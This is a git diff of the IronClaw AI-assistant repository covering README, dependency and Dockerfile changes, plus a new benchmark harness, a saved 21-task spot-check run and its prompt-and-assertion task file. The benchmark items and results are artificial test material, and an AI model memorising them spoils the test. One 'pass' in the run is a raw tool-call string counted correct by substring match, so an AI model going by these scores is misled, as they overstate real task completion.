**Tinfoil** -- Private inference via `https://inference.tinfoil.sh/v1`. Runs models inside hardware-attested TEEs so neither Tinfoil nor the cloud provider can see prompts or responses. Uses the OpenAI-compatible Chat Completions API. Configure with `TINFOIL_API_KEY` and `TINFOIL_MODEL` (default: `kimi-k2-5`).
**Tinfoil** -- Private inference via `https://inference.tinfoil.sh/v1`. Runs models inside hardware-attested TEEs so neither Tinfoil nor the cloud provider can see prompts or responses. Uses the OpenAI-compatible Chat Completions API only (not the Responses API, so tool calls are adapted to chat format). Configure with `TINFOIL_API_KEY` and `TINFOIL_MODEL` (default: `kimi-k2-5`).
## Database
@@ -572,10 +569,6 @@ Four built-in tools for managing skills at runtime:
- `<workspace>/skills/` -- Per-workspace skills (trusted)
- `~/.ironclaw/installed_skills/` -- Registry-installed skills (installed trust)
### Testing Skills
- `skills/web-ui-test/` -- Manual test checklist for the web gateway UI via Claude for Chrome extension. Covers connection, chat, skills search/install/remove, and other tabs.
Skills configuration: see Configuration section above.
## Docker Sandbox
Generated
+288 -1127
View File
File diff suppressed because it is too large Load Diff
+5 -31
View File
@@ -1,5 +1,5 @@
[workspace]
members = ["."]
members = [".", "benchmarks"]
exclude = [
"channels-src/discord",
"channels-src/telegram",
@@ -19,7 +19,7 @@ exclude = [
[package]
name = "ironclaw"
version = "0.13.0"
version = "0.7.0"
edition = "2024"
rust-version = "1.92"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
@@ -52,9 +52,6 @@ deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
@@ -72,7 +69,7 @@ dotenvy = "0.15"
toml = "0.8"
# Core types
uuid = { version = "1", features = ["v4", "v5", "serde"] }
uuid = { version = "1", features = ["v4", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] }
rust_decimal_macros = "1"
@@ -85,7 +82,7 @@ clap = { version = "4", features = ["derive", "env"] }
# Terminal
crossterm = "0.28"
rustyline = { version = "17", features = ["custom-bindings", "derive", "with-file-history"] }
rustyline = { version = "17", features = ["derive", "with-file-history"] }
termimad = "0.34"
# Channel integrations
@@ -140,10 +137,6 @@ rig-core = "0.30"
# Docker sandbox
bollard = "0.18"
# Archive extraction for WASM extension bundles
flate2 = "1"
tar = "0.4"
# HTTP proxy for sandboxed network access
hyper = { version = "1.5", features = ["server", "http1", "http2"] }
hyper-util = { version = "0.1", features = ["server", "tokio", "http1", "http2"] }
@@ -151,14 +144,6 @@ http-body-util = "0.1"
bytes = "1"
base64 = "0.22.1"
mime_guess = "2.0.5"
clap_complete = "4.5.0"
lru = "0.16.3"
# HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain
[target.'cfg(target_os = "macos")'.dependencies]
@@ -175,16 +160,12 @@ tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1"
tempfile = "3"
insta = "1.46.3"
[features]
default = ["postgres", "libsql", "html-to-markdown"]
default = ["postgres", "libsql"]
postgres = [
"dep:deadpool-postgres",
"dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types",
"dep:refinery",
"dep:pgvector",
@@ -192,11 +173,6 @@ postgres = [
]
libsql = ["dep:libsql"]
integration = []
html-to-markdown = ["dep:html-to-markdown-rs", "dep:readabilityrs"]
[[test]]
name = "html_to_markdown"
required-features = ["html-to-markdown"]
# The profile that 'cargo dist' will build with
[profile.dist]
@@ -207,8 +183,6 @@ lto = "thin"
[workspace.metadata.dist]
# The preferred dist version to use in CI (Cargo.toml SemVer syntax)
cargo-dist-version = "0.30.3"
# Ignore out-of-date generated CI so custom release.yml jobs are allowed
allow-dirty = ["ci"]
# CI backends to support
ci = "github"
# The installers to generate for each app
+2 -8
View File
@@ -11,22 +11,16 @@ FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy manifests first for layer caching
COPY Cargo.toml Cargo.lock ./
# Copy source, build script, tests, and supporting directories
COPY build.rs build.rs
# Copy source and build artifacts
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
RUN cargo build --release --bin ironclaw
+4 -3
View File
@@ -68,7 +68,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection |
| Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username |
| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance |
| Signal | ✅ | | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing |
| Signal | ✅ | | P2 | signal-cli |
| Slack | ✅ | ✅ | - | WASM tool |
| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended |
| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required |
@@ -120,7 +120,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| Per-group tool policies | ✅ | ❌ | Allow/deny specific tools |
| Thread isolation | ✅ | ✅ | Separate sessions per thread |
| Per-channel media limits | ✅ | 🚧 | Caption support for media; no size limits |
| Typing indicators | ✅ | 🚧 | TUI + Telegram typing/actionable status prompts; richer parity pending |
| Typing indicators | ✅ | 🚧 | TUI shows status |
| Per-channel ackReaction config | ✅ | ❌ | Customizable acknowledgement reactions |
| Group session priming | ✅ | ❌ | Member roster injected for context |
| Sender_id in trusted metadata | ✅ | ❌ | Exposed in system metadata |
@@ -158,7 +158,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `doctor` | ✅ | ❌ | P2 | Diagnostics |
| `logs` | ✅ | ❌ | P3 | Query logs |
| `update` | ✅ | ❌ | P3 | Self-update |
| `completion` | ✅ | | - | Shell completion |
| `completion` | ✅ | | P3 | Shell completion |
| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat |
| `/export-session` | ✅ | ❌ | P3 | Export current session transcript |
@@ -540,6 +540,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
### P3 - Lower Priority
- ❌ Discord channel
- ❌ Signal channel
- ❌ Matrix channel
- ❌ Other messaging platforms
- ❌ TTS/audio features
+1 -33
View File
@@ -1,5 +1,5 @@
<p align="center">
<img src="ironclaw.png?v=2" alt="IronClaw" width="200"/>
<img src="ironclaw.png" alt="IronClaw" width="200"/>
</p>
<h1 align="center">IronClaw</h1>
@@ -8,12 +8,6 @@
<strong>Your secure personal AI assistant, always on your side</strong>
</p>
<p align="center">
<a href="#license"><img src="https://img.shields.io/badge/license-MIT%20OR%20Apache%202.0-blue.svg" alt="License: MIT OR Apache-2.0" /></a>
<a href="https://t.me/ironclawAI"><img src="https://img.shields.io/badge/Telegram-%40ironclawAI-26A5E4?style=flat&logo=telegram&logoColor=white" alt="Telegram: @ironclawAI" /></a>
<a href="https://www.reddit.com/r/ironclawAI/"><img src="https://img.shields.io/badge/Reddit-r%2FironclawAI-FF4500?style=flat&logo=reddit&logoColor=white" alt="Reddit: r/ironclawAI" /></a>
</p>
<p align="center">
<a href="#philosophy">Philosophy</a> •
<a href="#features">Features</a> •
@@ -105,15 +99,6 @@ curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/release
```
</details>
<details>
<summary>Install via Homebrew (macOS/Linux)</summary>
```sh
brew install ironclaw
```
</details>
<details>
<summary>Compile the source code (Cargo on Windows, Linux, macOS)</summary>
@@ -158,23 +143,6 @@ and secrets encryption (using your system keychain). Settings are persisted in t
connected database; bootstrap variables (e.g. `DATABASE_URL`, `LLM_BACKEND`) are
written to `~/.ironclaw/.env` so they are available before the database connects.
### Alternative LLM Providers
IronClaw defaults to NEAR AI but works with any OpenAI-compatible endpoint.
Popular options include **OpenRouter** (300+ models), **Together AI**, **Fireworks AI**,
**Ollama** (local), and self-hosted servers like **vLLM** or **LiteLLM**.
Select *"OpenAI-compatible"* in the wizard, or set environment variables directly:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide.
## Security
IronClaw implements defense in depth to protect your data and prevent misuse.
+50
View File
@@ -0,0 +1,50 @@
[package]
name = "ironclaw-bench"
version = "0.1.0"
edition = "2024"
rust-version = "1.85"
description = "Benchmarking harness for IronClaw agent"
license = "MIT OR Apache-2.0"
publish = false
[[bin]]
name = "ironclaw-bench"
path = "src/main.rs"
[dependencies]
ironclaw = { path = ".." }
# Async runtime
tokio = { version = "1", features = ["full"] }
tokio-stream = { version = "0.1", features = ["sync"] }
futures = "0.3"
# Serialization
serde = { version = "1", features = ["derive"] }
serde_json = "1"
toml = "0.8"
# CLI
clap = { version = "4", features = ["derive"] }
# Core types
uuid = { version = "1", features = ["v4", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str"] }
# Error handling
thiserror = "2"
anyhow = "1"
# Async traits
async-trait = "0.1"
# Logging
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Scoring
regex = "1"
[dev-dependencies]
tempfile = "3"
@@ -0,0 +1,15 @@
{
"run_id": "8a48de1f-09ce-4c35-9ad1-dad98fb83a1a",
"suite_id": "spot",
"config_label": "default",
"model": "openai/gpt-5.2",
"commit_hash": "2c43b83",
"pass_rate": 1.0,
"avg_score": 1.0,
"total_tasks": 21,
"completed_tasks": 21,
"total_cost_usd": 0.307053,
"total_wall_time_ms": 111009,
"started_at": "2026-02-17T22:02:08.206112Z",
"finished_at": "2026-02-17T22:03:59.270325Z"
}
@@ -0,0 +1,21 @@
{"task_id":"smoke-greeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2037,"llm_calls":1,"input_tokens":1359,"output_tokens":65,"estimated_cost_usd":0.005052,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Im NEAR AI Agent—an autonomous assistant that helps you plan, write, debug, and execute tasks using available tools (like reading/writing files, running shell commands, and making HTTP requests). Tell me what youre working on and what outcome you want, and Ill drive it to completion.","started_at":"2026-02-17T22:02:08.206165Z","finished_at":"2026-02-17T22:02:10.243552Z","config_label":"default","error":null}
{"task_id":"smoke-math","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2038,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"1081","started_at":"2026-02-17T22:02:10.243933Z","finished_at":"2026-02-17T22:02:12.282133Z","config_label":"default","error":null}
{"task_id":"tool-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2646,"llm_calls":2,"input_tokens":2786,"output_tokens":24,"estimated_cost_usd":0.008718,"tool_calls":[{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Spot check passed","started_at":"2026-02-17T22:02:12.282294Z","finished_at":"2026-02-17T22:02:14.928540Z","config_label":"default","error":null}
{"task_id":"tool-time","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2839,"output_tokens":78,"estimated_cost_usd":0.009687,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Current date/time (UTC): **2026-02-17 22:02:16** \nISO 8601: **2026-02-17T22:02:16.045933+00:00**","started_at":"2026-02-17T22:02:14.928810Z","finished_at":"2026-02-17T22:02:18.389188Z","config_label":"default","error":null}
{"task_id":"tool-json-query","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2751,"llm_calls":2,"input_tokens":2839,"output_tokens":43,"estimated_cost_usd":0.009162,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Bob","started_at":"2026-02-17T22:02:18.389812Z","finished_at":"2026-02-17T22:02:21.141146Z","config_label":"default","error":null}
{"task_id":"tool-shell-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2811,"output_tokens":25,"estimated_cost_usd":0.008808,"tool_calls":[{"name":"shell","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"benchmark test","started_at":"2026-02-17T22:02:21.141384Z","finished_at":"2026-02-17T22:02:24.601812Z","config_label":"default","error":null}
{"task_id":"tool-list-dir","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":19146,"llm_calls":2,"input_tokens":4370,"output_tokens":1337,"estimated_cost_usd":0.033165,"tool_calls":[{"name":"list_dir","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```\nclaude-501/\nclaude-505/\nclaude/\ncodex/\ncom.apple.launchd.HqYyNM7hoK/\ncom.apple.launchd.Z0bTtlsPEN/\ncom.apple.launchd.oY8y5gkzN4/\ncom.apple.launchd.sdo3WGu0S7/\ndata-gym-cache/\ndocker-desktop-privileged2203342862/\ngrammers-test/\nnear-agent-target/\nnear-market-bot-push/\nnear-market-bot/\nopenclaw/\npowerlog/\ntest_grpo/\ntest_grpo2/\ntest_grpo_entry/\ntest_grpo_mix/\ntest_grpo_singleton/\ntmpybtjiuc0/\n.d8bd37babaf2f1f7-00000000.node (5.9MB)\n.d8bd37fbfbb0f7ff-00000000.node (5.9MB)\n.d8bd3d9bdf6dd3f7-00000000.node (5.9MB)\n.d8bd3fbfbf21ddf7-00000000.node (5.9MB)\n.d8bd7dfebb38d5ff-00000000.node (5.9MB)\n.d8bdf5deba3bf1f7-00000000.node (5.9MB)\n.d8bdf7cfff76f3f7-00000000.node (5.9MB)\n.d8bdfd8ffe26d5ff-00000000.node (5.9MB)\n.d8bdfdeb9ba8dbff-00000000.node (5.9MB)\n.d8bdfffe9ab2ddff-00000000.node (5.9MB)\n.s.PGSQL.5432 (0B)\n.s.PGSQL.5432.lock (56B)\n__KMP_REGISTERED_LIB_75079 (1.0KB)\nagent_loop_new.rs (28.5KB)\nagent_mod.rs (1.6KB)\nauth_trace.md (10.8KB)\nbench-daily.md (72B)\nbench-log.md (109B)\nbench-meeting.md (160B)\nbench-monday.md (44B)\nbench-prefs.md (61B)\nbench-project.md (213B)\nbench-reminder.md (68B)\nbench-todo.md (153B)\nbench-tuesday.md (40B)\ncac-deck.html (151.5KB)\ncircuit_breaker.rs (22.1KB)\ncli_config.rs (9.1KB)\ncli_service.rs (1.1KB)\ncommands.rs (17.5KB)\nconfig.rs (58.4KB)\nconflicts_summary.md (21.4KB)\ncost_guard.rs (11.3KB)\ndebug_forc2.py (2.8KB)\ndebug_forc3.py (3.0KB)\ndebug_forc4.py (3.0KB)\ndebug_forc5.py (4.0KB)\ndebug_forc6.py (3.9KB)\ndebug_forc7.py (2.7KB)\ndebug_forc8.py (2.9KB)\ndebug_forc_prove.py (3.0KB)\ndispatcher.rs (26.2KB)\ndoctor.rs (8.4KB)\nhygiene.rs (7.3KB)\nironclaw_blog_test.png (21.4KB)\nironclaw_browser_test_viewport.png (156.1KB)\nironclaw_linkedin_debug.png (6.5KB)\nironclaw_spot_test.txt (19B)\nkeys_chain_signatures.rs (6.1KB)\nkeys_error.rs (1.6KB)\nkeys_intents.rs (5.8KB)\nkeys_mod.rs (31.6KB)\nkeys_policy.rs (31.4KB)\nkeys_rpc.rs (8.5KB)\nkeys_signer.rs (8.0KB)\nkeys_spending.rs (5.9KB)\nkeys_transaction.rs (13.7KB)\nkeys_types.rs (17.4KB)\nleak_detection_research_summary.md (13.0KB)\nleak_detector.rs (25.3KB)\nlib_new.rs (5.0KB)\nllm_mod.rs (10.0KB)\nmain.rs (56.8KB)\nmain_bootstrap.rs (11.0KB)\nmain_rs.txt (34.1KB)\nnear_resp.json (39B)\nobs_log.rs (5.9KB)\nobs_mod.rs (2.7KB)\nobs_multi.rs (4.0KB)\nobs_noop.rs (1.5KB)\nobs_traits.rs (4.0KB)\nour_bootstrap.rs (12.6KB)\nour_config.rs (45.2KB)\npost_final_review.py (6.4KB)\npost_review.py (4.6KB)\npost_review2.py (4.8KB)\npost_review3.py (2.2KB)\npr-35.diff (137.4KB)\npr115.diff (1.6MB)\npr126.diff (336.9KB)\npr14_full_diff.txt (193.4KB)\npr39_files.txt (243B)\npr51_files.txt (548B)\npr93_diff.txt (160.4KB)\nprs.json (4.6KB)\nresponse_cache.rs (15.1KB)\nrun_hard_proof_search.sh (545B)\nrun_hard_proof_search2.sh (515B)\nrun_proof_search_v3.sh (523B)\nrun_proof_search_v4.sh (524B)\nservice.rs (11.9KB)\nsettings.rs (34.7KB)\ntest_line.py (789B)\ntest_search.txt (1.8KB)\nthread_ops.rs (38.5KB)\ntool_wit.txt (6.0KB)\ntunnel_cf.rs (3.9KB)\ntunnel_custom.rs (6.2KB)\ntunnel_mod.rs (10.4KB)\ntunnel_ngrok.rs (4.2KB)\ntunnel_none.rs (1.3KB)\ntunnel_ts.rs (3.5KB)\nwasm_capabilities.rs (15.2KB)\nwasm_capabilities_schema.rs (26.2KB)\nwasm_host.rs (25.3KB)\nwasm_wrapper.rs (14.9KB)\n```","started_at":"2026-02-17T22:02:24.602248Z","finished_at":"2026-02-17T22:02:43.748463Z","config_label":"default","error":null}
{"task_id":"chain-write-read","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5712,"llm_calls":3,"input_tokens":4489,"output_tokens":73,"estimated_cost_usd":0.014562,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"It says: `ironclaw spot check`.","started_at":"2026-02-17T22:02:43.749933Z","finished_at":"2026-02-17T22:02:49.462007Z","config_label":"default","error":null}
{"task_id":"chain-shell-json","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4582,"llm_calls":3,"input_tokens":4433,"output_tokens":94,"estimated_cost_usd":0.014709,"tool_calls":[{"name":"shell","duration_ms":0,"success":true},{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"[Called tool `json` with arguments: {\"data\":{\"code\":200,\"status\":\"ok\"},\"operation\":\"query\",\"path\":\"status\"}]","started_at":"2026-02-17T22:02:49.463794Z","finished_at":"2026-02-17T22:02:54.046092Z","config_label":"default","error":null}
{"task_id":"chain-time-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4583,"llm_calls":3,"input_tokens":4404,"output_tokens":76,"estimated_cost_usd":0.014352,"tool_calls":[{"name":"time","duration_ms":0,"success":true},{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"2026-02-17T22:02:55.786456+00:00","started_at":"2026-02-17T22:02:54.046306Z","finished_at":"2026-02-17T22:02:58.629389Z","config_label":"default","error":null}
{"task_id":"robust-no-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":1020,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Paris.","started_at":"2026-02-17T22:02:58.630502Z","finished_at":"2026-02-17T22:02:59.650655Z","config_label":"default","error":null}
{"task_id":"robust-correct-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3980,"llm_calls":2,"input_tokens":2825,"output_tokens":50,"estimated_cost_usd":0.009225,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Its **22:03:01 UTC** right now (**2026-02-17**).","started_at":"2026-02-17T22:02:59.650901Z","finished_at":"2026-02-17T22:03:03.631122Z","config_label":"default","error":null}
{"task_id":"robust-json-validate","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2954,"llm_calls":2,"input_tokens":2822,"output_tokens":43,"estimated_cost_usd":0.009111,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The JSON is valid (`valid: true`).","started_at":"2026-02-17T22:03:03.631527Z","finished_at":"2026-02-17T22:03:06.585971Z","config_label":"default","error":null}
{"task_id":"memory-save-daily","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4890,"llm_calls":3,"input_tokens":4547,"output_tokens":114,"estimated_cost_usd":0.015351,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```md\n# Daily Tasks\n\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\n```","started_at":"2026-02-17T22:03:06.586556Z","finished_at":"2026-02-17T22:03:11.476648Z","config_label":"default","error":null}
{"task_id":"memory-save-reminder","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5607,"llm_calls":3,"input_tokens":4531,"output_tokens":95,"estimated_cost_usd":0.015018,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The appointment is on **March 5th at 2pm**, with **Dr. Smith**.","started_at":"2026-02-17T22:03:11.476873Z","finished_at":"2026-02-17T22:03:17.084343Z","config_label":"default","error":null}
{"task_id":"memory-save-meeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6113,"llm_calls":3,"input_tokens":4750,"output_tokens":122,"estimated_cost_usd":0.01608,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Frontend owner: **Bob** \nLaunch date: **April 15th**","started_at":"2026-02-17T22:03:17.085432Z","finished_at":"2026-02-17T22:03:23.198905Z","config_label":"default","error":null}
{"task_id":"memory-append-log","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9880,"llm_calls":6,"input_tokens":9941,"output_tokens":208,"estimated_cost_usd":0.032943,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"shell","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Contents of `/tmp/bench-log.md`:\n1. Morning standup: discussed blockers on auth service \n2. Afternoon: resolved API timeout issue in payment gateway \n\nSummary: You discussed blockers affecting the auth service during the morning standup, and later in the afternoon you resolved an API timeout issue in the payment gateway.","started_at":"2026-02-17T22:03:23.199155Z","finished_at":"2026-02-17T22:03:33.079396Z","config_label":"default","error":null}
{"task_id":"memory-recall-detail","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4989,"llm_calls":3,"input_tokens":4721,"output_tokens":121,"estimated_cost_usd":0.015978,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The project uses **PostgreSQL** as the database, and the PM is **James**.","started_at":"2026-02-17T22:03:33.080611Z","finished_at":"2026-02-17T22:03:38.069896Z","config_label":"default","error":null}
{"task_id":"memory-todo-priority","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5916,"llm_calls":3,"input_tokens":4676,"output_tokens":110,"estimated_cost_usd":0.015678,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"High priority tasks:\n- Fix login bug\n- Security audit","started_at":"2026-02-17T22:03:38.070162Z","finished_at":"2026-02-17T22:03:43.986831Z","config_label":"default","error":null}
{"task_id":"memory-multifile","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6081,"llm_calls":4,"input_tokens":6442,"output_tokens":196,"estimated_cost_usd":0.022266,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"On Tuesday you have **Sprint retro at 11am**, then **team lunch at noon**.","started_at":"2026-02-17T22:03:43.988013Z","finished_at":"2026-02-17T22:03:50.069452Z","config_label":"default","error":null}
{"task_id":"memory-update-context","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9164,"llm_calls":5,"input_tokens":8354,"output_tokens":252,"estimated_cost_usd":0.028842,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"apply_patch","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Final read confirms the file now says `timezone: EST`.","started_at":"2026-02-17T22:03:50.070277Z","finished_at":"2026-02-17T22:03:59.235196Z","config_label":"default","error":null}
+21
View File
@@ -0,0 +1,21 @@
{"id": "smoke-greeting", "prompt": "Hello! Introduce yourself briefly.", "tags": ["smoke"], "assertions": {"response_matches": "(?i)(hello|hi|hey|assistant|agent|help)", "no_error": true, "max_tool_calls": 0}}
{"id": "smoke-math", "prompt": "What is 47 * 23? Reply with just the number.", "tags": ["smoke"], "assertions": {"response_contains": ["1081"], "no_error": true, "max_tool_calls": 0}}
{"id": "tool-echo", "prompt": "Use the echo tool to repeat the message: 'Spot check passed'", "tags": ["tool"], "assertions": {"tools_used": ["echo"], "response_contains": ["Spot check passed"], "no_error": true}}
{"id": "tool-time", "prompt": "What is the current date and time? Use the time tool.", "tags": ["tool"], "assertions": {"tools_used": ["time"], "response_matches": "20\\d{2}", "no_error": true}}
{"id": "tool-json-query", "prompt": "Given this JSON: {\"users\": [{\"name\": \"Alice\"}, {\"name\": \"Bob\"}]}, use the json tool to extract the second user's name.", "tags": ["tool"], "assertions": {"tools_used": ["json"], "response_contains": ["Bob"], "no_error": true}}
{"id": "tool-shell-echo", "prompt": "Use the shell tool to run: echo 'benchmark test'", "tags": ["tool"], "assertions": {"tools_used": ["shell"], "response_contains": ["benchmark test"], "no_error": true}}
{"id": "tool-list-dir", "prompt": "Use the list_dir tool to list the contents of the /tmp directory.", "tags": ["tool"], "assertions": {"tools_used": ["list_dir"], "no_error": true}}
{"id": "chain-write-read", "prompt": "Write the text 'ironclaw spot check' to /tmp/ironclaw_spot_test.txt using the write_file tool, then read it back using the read_file tool and tell me what it says.", "tags": ["chain"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["ironclaw spot check"], "no_error": true}}
{"id": "chain-shell-json", "prompt": "Run a shell command to output the JSON string '{\"status\": \"ok\", \"code\": 200}', then use the json tool to extract the status field.", "tags": ["chain"], "assertions": {"response_contains": ["ok"], "min_tool_calls": 1, "no_error": true}}
{"id": "chain-time-echo", "prompt": "First get the current time using the time tool, then use the echo tool to repeat it back.", "tags": ["chain"], "assertions": {"tools_used": ["time", "echo"], "no_error": true}}
{"id": "robust-no-tool", "prompt": "What is the capital of France? Answer directly without using any tools.", "tags": ["robust"], "assertions": {"response_contains": ["Paris"], "max_tool_calls": 0, "no_error": true}}
{"id": "robust-correct-tool", "prompt": "What time is it right now?", "tags": ["robust"], "assertions": {"tools_used": ["time"], "tools_not_used": ["shell", "echo"], "no_error": true}}
{"id": "robust-json-validate", "prompt": "Use the json tool to validate whether this is valid JSON: {\"key\": \"value\", \"num\": 42}", "tags": ["robust"], "assertions": {"tools_used": ["json"], "tools_not_used": ["shell"], "no_error": true}}
{"id": "memory-save-daily", "prompt": "Save these daily tasks to /tmp/bench-daily.md:\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\nThen read the file back and confirm what was saved.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PR #42", "docs", "staging"], "no_error": true}}
